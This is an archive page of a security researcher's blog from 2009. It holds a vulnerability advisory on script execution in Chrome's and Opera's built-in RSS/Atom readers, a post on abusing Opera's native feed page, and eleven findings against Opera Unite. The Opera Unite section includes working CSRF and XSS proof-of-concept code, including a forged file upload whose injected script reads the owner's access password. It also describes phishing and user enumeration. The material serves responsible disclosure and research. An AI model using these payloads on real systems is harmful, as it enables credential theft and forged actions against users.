Archive for the ‘XSS’ Category

Hijacking Opera’s Native Page using malicious RSS payloads

Wednesday, October 28th, 2009

Well, this one is a continuation of my previous post on Cross Site Scripting issues relating to RSS feed readers. In that post, I mentioned Scenario (3), but didn’t discuss any details or PoC since Opera Team was actively fixing it. This issue is now fixed in the latest security update v10.01 from Opera Team.

In this exploit, an attacker uses a maliciously crafted RSS payload to achieve full control over the Victim’s Opera Browser. The attack works by convincing a user to visit a RSS feed link. When the user opens the url in Opera, there are two things that take place. The first one being Javascript in various RSS feed entries gets executed in the context of the calling site. This part was discussed in the previous post and can be used to execute XSS in the context of that site. The second thing that occurs is the untrusted rss feed content lands up in the Opera’s Feed Subscription Page (also the reason for this post). Since this is a native page, it runs in a higher privileged zone than the internet zone (something similar to chrome:// in Firefox and Chrome).

So, if you find a way to execute your malicious javascript in the feed subscription page, you can essentially execute native opera functions and ultimately use it to control the Victim’s Opera browser. It looks like Opera’s Team did think about the implications of putting untrusted user content in this page and hence only permitted a certain whitelist of html tags. In addition, for some html tags such as “A” and “IMG”, it required certain preconditions to be met. See the code snippets captured using Opera inbuilt debugger DragonFly (you can also use Firebug lite).

Whitelisted HTML Tags Definition – Opera Feed Subscription Page (Source – DragonFly)

Opera Feed Subscription Page Source in DragonFly - Part 1
HTML Tag Sanitizer/Filter Function – Opera Feed Subscription Page (Source – DragonFly)

Opera Feed Subscription Page Source in DragonFly - Part 2

If you had tried the simple xss attacks like <img src=”x:x” onerror=”some javascript”/> or something like <a onmouseover=”some javascript”>link</a>, these won’t work here (hint: check out preconditions defined above). It is important to understand what you are attacking and if read this code, you will figure out what constitutes a valid malicious payload that will evade this filter or sanitizer on the Opera Subscriptions Page.

So, here is an example PoC exploit code which executes the opera.feeds.subscribeNative function to automatically register a feed in Opera browser without user consent.

http://securethoughts.com/security/rssatomxss/opera10exploit2.atom
(Tested on Opera 10.00 Stable Build 1750)
Automatic Feed Registration without User Consent

Exploiting Chrome and Opera’s inbuilt ATOM/RSS reader with Script Execution and more

Tuesday, September 15th, 2009

Update: I missed pointing out the cutting edge research done by Robert Auger in this area back in 2006. [1,2]. Also, Michal Zalewski has written about the RSS and ATOM vulnerabilities in the comprehensive Browser Security Handbook. Definitely check these links out.

=============================================

SECURETHOUGHTS.COM ADVISORY
- CVE-ID : CVE-2009-3263 (Chrome)
- Release Date : September 15, 2009
- Severity : Medium to High
- Discovered by : Inferno

=============================================

I. TITLE
————————-
Exploiting Chrome and Opera’s inbuilt ATOM/RSS reader with Script Execution and more

II. VULNERABLE
————————-
Chrome all versions – 2 and 3 (< 3.0.195.21)
Opera all versions - 9 and 10.

III. BACKGROUND
-------------------------
Back in 2006, there was interesting research done by James Holderness[1] and James M. Snell[2] which uncovered a variety of XSS issues in various online feed aggregator services (e.g. Feed Demon). The vulnerability arises from the fact that it is not expected of RSS readers to render scripted content. I want to extend that research by doing threat analysis on inbuilt feed readers offered in most modern browsers. I have found Google Chrome (v2,3) and Opera (v9,v10) to be vulnerable, while Internet Explorer(v7,8), Firefox 3.5 and Safari 4 are resilient to the exploits mentioned below.

IV. DESCRIPTION
————————-
Google Chrome and Opera’s inbuilt RSS/ATOM Reader renders untrusted javascript in an RSS/ATOM feed.

Exploit Scenarios

  1. Scenario 1
    1. Attacker social engineers a victim user to visit a rss/atom feed link pointing to his or her evil site.
    2. Victim uses Google Chrome / Opera browser to view the feed.
    3. Malicious javascript gets executed on victim’s browser. Examples
      1. Modifies into a phishing page and asks user credentials for subscribing to Google Reader / My.Opera.com
      2. Searches user’s browser history for visited url list [3]
      3. Scans user’s internal network with/without javascript [4]
  2. Scenario 2
    1. Both attacker and victim user have an account to a trusted website.
    2. Either
      1. The trusted web site lets the attacker inject JavaScript content into any section of the site’s RSS or an Atom feed.
    3. OR
      1. The trusted website uses blacklist to block known executable file types for scripted content. E.g. html, jsp, etc.
      2. Attacker uploads a file with extension .rss/.atom/arbitary extension preceded by .rss/.atom [e.g. .atom.tx]. Most widely used Apache web server passes Content-Type as “application/{atom/rss}+xml” for all the three cases automatically in default configuration.
      3. Attacker convinces victim to visit the direct link to uploaded file.
      4. Victim’s cookies and other sensitive data gets sent to attacker’s site.
      5. Note: For Internet Explorer (v7,8), the task is easier because it does automatic mime type detection. So, you can execute javascript content in any file extension. E.g. click http://securethoughts.com/security/rssatomxss/anyfile.tx. However, for other browsers, Firefox 3.5, Safari 4, Opera 10 and Chrome 3, they don’t support this functionality (perhaps for security reasons). So, using such extensions mentioned above can be used as a workaround for script execution in Opera and Chrome browsers.
  3. Scenario 3
    1. Similar to Scenario 1, but exploit can be used for complete control over feeds in the Opera browser.

V. PROOF OF CONCEPT
————————-

  1. Exploit Scenario 1 [Testcases - 18 XSS for Chrome, 38 XSS for Opera] –
    1. Chrome: http://securethoughts.com/security/rssatomxss/googlechromexss.atom [or .rss]
    2. Opera: http://securethoughts.com/security/rssatomxss/opera10xss.atom [or .rss]
  2. Exploit Scenario 2 –
    1. Include all in Scenario 1
    2. Opera: http://securethoughts.com/security/rssatomxss/opera10xss.atom.tx [Any arbitary file extension at. E.g .tx, .tm]
    3. Chrome: http://securethoughts.com/security/rssatomxss/googlechromexss.atom.tx [Any arbitary file extension at. E.g .tx, .tm]
  3. Exploit Scenario 3 –
    1. Details and PoC will be released after patch is provided by Opera Security Team in next minor release.

For research purposes, you can try out the PoCs on these virtualized (and vulnerable) versions of various browsers, without installing any bits on your computer [5].

VI. FIX DESCRIPTION
————————-

  1. Chrome: ATOM/RSS feed rendering is completely disabled by forcing a text/plain MIME type [6]. If you need feed rendering, a good alternative is FeedBurner which protects from any script execution attacks by blocking them at time of the feed registration.
  2. Opera: Scenarios (1) and (2) will not be fixed, as it is a design feature. Scenario (3) will be patched in next minor release.

Google Chrome before fix –
Google Chrome - 18 XSS issues in ATOM/RSS Reader

Google Chrome after fix –
Google Chrome after fix - Stops rendering dynamic content

Opera before fix –
Opera - 38 XSS issues in ATOM/RSS Reader

Opera After Fix –
Still the same. Only Scenario (3) will be fixed.

VII. SOLUTION
————————-
Chrome: Upgrade to latest version of Google Chrome (v3.0.195.21 or higher). If you remain connected to the internet, this should be automatic.
Opera: Wait for upcoming patch for Scenario (3) in next minor release (non-alpha/beta) of Opera 10 [Opera 9 users need to upgrade]. However, you will still continue to be vulnerable to script execution.

VIII. REFERENCES
————————-
1. Attack Delivery TestSuite – James Holderness
http://intertwingly.net/blog/2006/08/09/Attack-Delivery-TestSuite

2. Feed Security – James M. Snell
http://www.snellspace.com/wp/?p=448

3. CSS History Hack – Jeremiah Grossman
http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html

4. Browser Port Scanning without Javascript – Jeremiah Grossman
http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html

5. Downloading Xenocode’s “sandboxed” applications – Wladimir Palant
http://adblockplus.org/blog/downloading-xenocode-s-sandboxed-applications

6. Google Chrome Fix Details
http://code.google.com/p/chromium/issues/detail?id=21238

IX. CREDITS
————————-
This vulnerability is discovered by
Inferno (inferno {at} securethoughts {dot} com)

X. DISCLOSURE TIMELINE
————————-
Sep 7, 2009 12:09 PM: Vulnerability reported to Google and Opera Security Teams.
Sep 7, 2009 12:10 PM: Automated Response from Google Security Team.
Sep 7, 2009 03:49 PM: First Status update provided by Google Security Team. Quick response for a Holiday.
Sep 8, 2009 01:09 AM: First Status update provided by Opera Security Team. Vulnerability concluded as design feature.
Sep 8, 2009 03:28 PM: Vulnerability confirmed by Google Chrome Security Team. Patch timelines provided.
Sep 9, 2009 07:39 AM: Second Status update provided by Opera Security Team. Asked for exploit possibility for certain scenarios.
Sep 10, 2009 01:33 AM: Third Status update provided by Opera Security Team. Vulnerability confirmed for new provided testcases.
Sep 15, 2009 01:31 AM: Final Status update provided by Opera Security Team. Scenario (3) will be fixed, while Scenarios (1), (2) will not be.
Sep 15, 2009 03:04 PM: Patch released by Google Security Team in v3.0.195.21.
Sep XX, 2009 XX:XX XX: Patch planned by Opera Security Team for next minor release.

I would like to thank Chris Evans from Google Chrome Security Team and Sigbjørn Vik from Opera Security Team for their prompt responses, engaging in insightful discussions and getting the fix ready in a timely manner. It was a pleasure working with them.

Pwning Opera Unite with Inferno’s Eleven

Monday, August 31st, 2009

Opera Unite, the upcoming version of the Opera browser has a strong vision to change how we look at the web. For those who are unknown to this radical technology, it extends your browser into a full-blown collaboration suite where you can chat with people, leave notes, share files, play media, host your sites, etc. (Wow!!).

Opera Unite comes bundled with a bunch of standard services such as Fridge (Notes), The Lounge (chatroom), etc. It is important to understand that these services have two distinct views. One view is of the Service Owner, who installs, customizes and runs these services on his or her computer. The service owner and the computer running these services have associated identifiers. By default, computer name is “home”. So, your administrative homepage is http://admin.home.uid.operaunite.com/. Remember that even though the protocol of communication looks like http, it is not. Opera relays all traffic using a proprietary ucp protocol (encrypted) to asd.opera.com and auth.opera.com (no protocol details except here). The other view is of the Service Page which is used by your users (friends, customers, etc) to access your selected content. These trusted users can access your services from any browser (not just opera unite) and uses the plain http protocol. The service homepage is http://home.uid.operaunite.com/.

I was fascinated by this idea, so I decided to look at the security aspects of the product (while it was in beta). Here are my findings in no particular priority order (tested on 10.00 Beta 3 Build 1703). I am including the PoC in their respective sections. Remember to change “home” with your computerid and “infernosec2” with your userid.

1. Enumerating Service Owner Usernames — Well, if you want to carry out targeted attacks against a particular user, it is easier to do so by guessing his or her username. Usernames are generally firstname/lastname/firstname.lastname, etc. However, for more generic attacks, Opera Unite makes our task easier by allowing Google to index its user’s pages (configurable). Here is the output from a simple query – site:operaunite.com


Opera Unite Username Enumeration using Google

2. Enumerating Computer names for a particular Service Owner — Once you decide on your target service owner, the next step is to determine which computers belong to him or her. Note that from the search engine, you might only get few computer names and not all since owner might have elected to not index the private ones. However, if you visit the service homepage with any non-existent computer name, then Opera Unite happily discloses all computer names used by that person.


Opera Unite Computer Names Enumeration

3. Enumerating Service Owner Server IP address and Port number — If you are a service owner and is thinking that your identity is masked by Opera Unite Proxy Servers, think again. Opera Unite discloses your IP address and Port number to any user (even unauthenticated) who visits your service pages. I have tested this to work on File Sharing and File Uploader Services. Just do a view-source: on any of those pages.


Opera Unite Server IP and Port Disclosure

4. Hijacking Insecure Communication in Service Pages — While Opera Team has taken adequate steps to secure the Service Owner’s communication with Opera Unite Servers (using proprietary ucp), however, the communication of Service Page users with Opera’s Server is plain http and there is no choice to use https (like you cannot do https://home.infernosec2.operaunite.com/file_sharing/content/). These users use sensitive credentials to login to your services and need the same kind of security as the service owner. What is more shocking is that the user management system at my.opera.com does not support https. Try visiting https://my.opera.com/


Opera Unite Insecure HTTP Communication

5. Hosting Phishing Pages and other Malware on Trusted Operaunite.com — As an attacker, you can use Opera Unite to serve phishing pages and malware content from your profile. Both file sharing and file uploader services render the service owner content inside the browser, leaving user vulnerable to phishing and other malware attacks. For example, before serving some content, I phish the user to provide his or her opera unite credentials. User might think that the content is coming from trusted operaunite.com and hence has a high probability of falling to this spoof.


Opera Unite Phishing and Malware Pages Hosting

6. CSRF-ing a File Upload from a Trusted User — Lets say a trusted user is using your file uploader service, i.e. he or she has provided credentials to access it. At the same time, if that user goes to my evil site, I can make him upload arbitrary files to your computer, thereby breaking the trust you have in that user. If the service owner accidentally clicks on that file, it renders inside the browser (thanks to automatic MIME type detection) and poof your XSS executes. In the example below, I have written code to steal your service access password. Please note that this exploit requires that your trusted user is accessing the service from any browser other than Opera since Opera escapes the filenames properly. This exploit is out for the last 1.5 years, but browser vendors haven’t felt the need to fix this (still works for IE8, Firefox 3.5.2).

<html>
<form method="post" action="http://home.infernosec2.operaunite.com/file_uploader/content/upload" enctype="multipart/form-data">
<textarea name='file"; filename="evil"
Content-Type: text/html; '>
<html>
<script>
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
            if (xhr.readyState == 4) {
                if (xhr.status == 200) {
					var pattern= /<[^>]*unite-aclPassword" value="([^>]*)">/i;
					if(pattern.test(xhr.responseText))
					{
						alert("Your acl password is: "+RegExp.$1);
					}
                }
            }
        };

    xhr.open('GET', 'http://admin.home.infernosec2.operaunite.com/file_uploader/admin/', true);
    xhr.send(null);
</script>
</html>
</textarea>
</form>
<script>
     document.forms[0].submit();
</script>
</html>

(Combined PoC available here – http://securethoughts.com/security/operaunite/attack.html)


Opera Unite CSRF ing a file upload on File Uploader


Opera Unite Uploaded File XSS discloses sensitive access password

7. CSRF-ing a Note on the Fridge — Fridge service is an unauthenticated service that is meant for people to leave notes on your computer. If you turn on this service, an attacker can leave weird derogatory fun notes or just fill the queue (default limit -24) so that noone else can post anything. However, he might not want to do that since his ip etc might be getting logged by Opera Servers. So, the better or more stealthy way is to make other users do it for him. Any user that visits his evil site can be made to automatically post notes to any Opera Unite Profile. This includes the service owner as well who can be forced to post something on his computer :) .

<html>
<form method="post" action="http://home.infernosec2.operaunite.com/fridge/">
<input type="text" name="post" value="You are Hacked">
<input type="text" name="author" value="Attacker">
<input type="text" name="email" value="Evil">
<input type="text" name="cancel" value="cancel">
</form>
<script>
     document.forms[0].submit();
</script>
</html>

(Combined PoC available here – http://securethoughts.com/security/operaunite/attack.html)


Opera Unite CSRF ing a note on the Fridge

8. CSRF-Ing anyuserid to join a chatroom — Similar to (6), you can force any trusted user (who is already authenticated to your chatroom with a particular userid) to rejoin with alternate usernames. He or she cannot be forced to post anything (csrf protection), however, this can abused to disrupt any existing conversation. I still have a hard time understanding why anyone wants to allow such functionality ?

<html>
<form method="post" action="http://home.infernosec2.operaunite.com/the_lounge/entry">
<input type="text" name="nick" value="anyfakeid">
</form>
<script>
     document.forms[0].submit();
</script>
</html>

(Combined PoC available here – http://securethoughts.com/security/operaunite/attack.html)


Opera Unite CSRF ing anyfakeid user to join the Lounge

9. XSS ing the unite-session-id cookie, works for almost all services — There is an XSS issue in the unite-session-id cookie, whose value gets echoed in the javascript of http response. I would call this as a low severity issue since this attack of overwriting http headers is only possible to do with older versions of Flash (like 7,8,lower versions of 9) and IE6. Still a bug though :)


Opera Unite XSS ing the unite-session-id cookie using older Flash

10. Clickjacking any Service Page — Opera Team has taken necessary steps to protect the service owner pages from any type of clickjacking exploits. However, they do not provide any protection for the service pages. With the current list of default services and operations allowed from trusted user, I cannot think of interesting exploits. One example can be to clickjack a chatroom user and force him to logout of a conversation. I didn’t get much time to spend on this. But when more and more people start writing their own opera unite services that allow dynamic user interactions, this type of protection will definitely be required.

11. Inconsistency in Password Policy for some services — Most opera unite services are initialized and protected by a default 8 or 9 digit alphanumeric password. However, the photo service is protected by a default 4 char password, which is easily breakable by brute force (looks like photos are considered less private than files). Also, chatroom is out-of-the-box unauthenticated and even if you enable password protection, it picks up a default password “default”. So, your users will have to generate a strong password themselves, which is highly unlikely.



References :–

1. Clickjacking – Jeremiah Grossman and Robert “RSnake” Hansen
http://ha.ckers.org/blog/20081007/clickjacking-details/

2. Forging HTTP Request Headers with Flash – Amit Klein
http://www.securityfocus.com/archive/1/441014

3. Exploiting XSS Vulnerabilities on Cookies – Sirdarckcat
http://sirdarckcat.blogspot.com/2008/01/exploiting-xss-vulnerabilities-on.html

4. CSRF-ing File Upload Fields – Kuza55
http://kuza55.blogspot.com/2008/02/csrf-ing-file-upload-fields.html